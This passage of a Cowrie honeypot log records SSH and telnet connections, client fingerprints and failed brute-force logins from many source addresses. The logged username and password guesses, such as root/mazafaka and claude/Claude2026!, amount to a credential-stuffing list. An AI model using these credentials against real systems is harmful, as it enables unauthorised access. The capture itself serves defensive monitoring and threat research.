9a:4b:4e:b5:04:66:0e:3e:d4:b9:3a:ec:8b:dc:ae:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.620711Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:4b:4e:b5:04:66:0e:3e:d4:b9:3a:ec:8b:dc:ae:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC22wyPge2Dj2C7lohWNBlHvv1nXdQ4wEQ6VCIP8BZTa89tiUhu5d2PkO9k9eLp4+/q84LDkA+BZ1JTJt2zeKh5nevHV6fTuGiyqYFR5YLSfuFBhhP8TcwLzukNB/7pvVgVk6ytI8luSpMWMW2HMEGDrtXWthrAwazN3NaEz6MFbq7kjnF1beOQaD0FmXfJCnMrb2kW8ak2v8dvweRNEjJrYp54kQFOrjRnOk4z3Ll9LfLTGbkdZbyI+Hdz5jPGAkM8wdRQU1cIzDbt39jKd23o0++BAAiY2w8cVvXrJ81lxgbZApErR9qeSyQGplN3oj4yP+ldCNS/3UVoDD2bCYzlu72dnpiAnTWobdkh7Km8ZtiHlYjpWW/gvPUZJ6M41dMnDMENqg3nhRfCZT0RHK4pzmLOVz86ELVZQseXN/YdsU0PCLY6e0WZXLwB2W6+CCkg5Y4qGdZl7q9nvdAABIZxttUJ+IpLW9puL4cmODY4FGbOD50i+Xl4zOYwnjy7u36cHfwMkmM27cGL5zTwx0Gw+saHoHYxAPH5fuFlcKbr24FEfHdi1FZ/Rv06CAnYFyLJ2KlTccSeij7UCzb2NQY0mPomAoE3j7f1sgHE9Y+vGq8MquaUayNDEShntykIsD+68F7jrxeHmN9EoE/uqnLOKGBdAz6oFkrsiN8Z7Q2OhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.624552Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:58.715971Z","src_ip":"154.16.180.198","session":"f14ab94686db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":56654,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b77d7cdeb8c","protocol":"ssh","message":"New connection: 130.12.181.85:56654 (10.17.0.5:22) [session: 2b77d7cdeb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:59.298462Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:27:59.762384Z","src_ip":"130.12.181.85","session":"2b77d7cdeb8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":56668,"dst_ip":"10.17.0.5","dst_port":22,"session":"584fd0127a84","protocol":"ssh","message":"New connection: 130.12.181.85:56668 (10.17.0.5:22) [session: 584fd0127a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:02.823988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:02.829104Z","src_ip":"130.12.181.85","session":"584fd0127a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:02.932992Z","src_ip":"130.12.181.85","session":"584fd0127a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"starry","message":"login attempt [admin/starry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:03.797177Z","src_ip":"130.12.181.85","session":"584fd0127a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:06.576827Z","src_ip":"130.12.181.85","session":"584fd0127a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":51054,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fb214432362","protocol":"ssh","message":"New connection: 43.130.29.69:51054 (159.203.135.109:22) [session: 0fb214432362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:38.562541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:38.566534Z","src_ip":"43.130.29.69","session":"0fb214432362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:38.635908Z","src_ip":"43.130.29.69","session":"0fb214432362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:38.943820Z","src_ip":"43.130.29.69","session":"0fb214432362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:40.017131Z","src_ip":"43.130.29.69","session":"0fb214432362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":60563,"dst_ip":"10.17.0.5","dst_port":22,"session":"a81e6aea56b1","protocol":"ssh","message":"New connection: 193.46.255.86:60563 (10.17.0.5:22) [session: a81e6aea56b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:44.082885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:44.088990Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:44.213730Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:44.784092Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username1","message":"login attempt [username/username1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:45.911889Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abc123","message":"login attempt [username/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:47.044258Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abcd123","message":"login attempt [username/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:48.173349Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":38506,"dst_ip":"10.17.0.5","dst_port":22,"session":"24035869c506","protocol":"ssh","message":"New connection: 103.172.78.219:38506 (10.17.0.5:22) [session: 24035869c506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:48.287518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:48.292304Z","src_ip":"103.172.78.219","session":"24035869c506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:48.547995Z","src_ip":"103.172.78.219","session":"24035869c506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60882,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b93175e08d7","protocol":"ssh","message":"New connection: 80.94.92.184:60882 (10.17.0.5:22) [session: 2b93175e08d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:48.827974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:48.958442Z","src_ip":"80.94.92.184","session":"2b93175e08d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:48.961715Z","src_ip":"80.94.92.184","session":"2b93175e08d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abcd1234","message":"login attempt [username/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:49.300858Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dzxtckfd","message":"login attempt [root/dzxtckfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:49.313928Z","src_ip":"103.172.78.219","session":"24035869c506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:49.906996Z","src_ip":"80.94.92.184","session":"2b93175e08d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:50.428679Z","src_ip":"193.46.255.86","session":"a81e6aea56b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:50.571918Z","src_ip":"103.172.78.219","session":"24035869c506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:28:51.187289Z","src_ip":"80.94.92.184","session":"2b93175e08d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":46212,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c55af44f449","protocol":"ssh","message":"New connection: 94.159.109.207:46212 (10.17.0.5:22) [session: 8c55af44f449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:06.801533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:06.806657Z","src_ip":"94.159.109.207","session":"8c55af44f449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:06.925372Z","src_ip":"94.159.109.207","session":"8c55af44f449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:07.283204Z","src_ip":"94.159.109.207","session":"8c55af44f449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:08.405885Z","src_ip":"94.159.109.207","session":"8c55af44f449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.139.244","src_port":23844,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc606182bd0b","protocol":"telnet","message":"New connection: 120.48.139.244:23844 (159.203.135.109:23) [session: bc606182bd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:31.078642Z"}
{"eventid":"cowrie.session.closed","duration":0.004539966583251953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:31.083052Z","src_ip":"120.48.139.244","session":"bc606182bd0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57988,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d8e68bcc4d0","protocol":"ssh","message":"New connection: 147.45.197.250:57988 (159.203.135.109:22) [session: 7d8e68bcc4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:54.555300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:54.560139Z","src_ip":"147.45.197.250","session":"7d8e68bcc4d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:54.649281Z","src_ip":"147.45.197.250","session":"7d8e68bcc4d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazafaka","message":"login attempt [root/mazafaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:54.917640Z","src_ip":"147.45.197.250","session":"7d8e68bcc4d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:56.010359Z","src_ip":"147.45.197.250","session":"7d8e68bcc4d0","protocol":"ssh"}
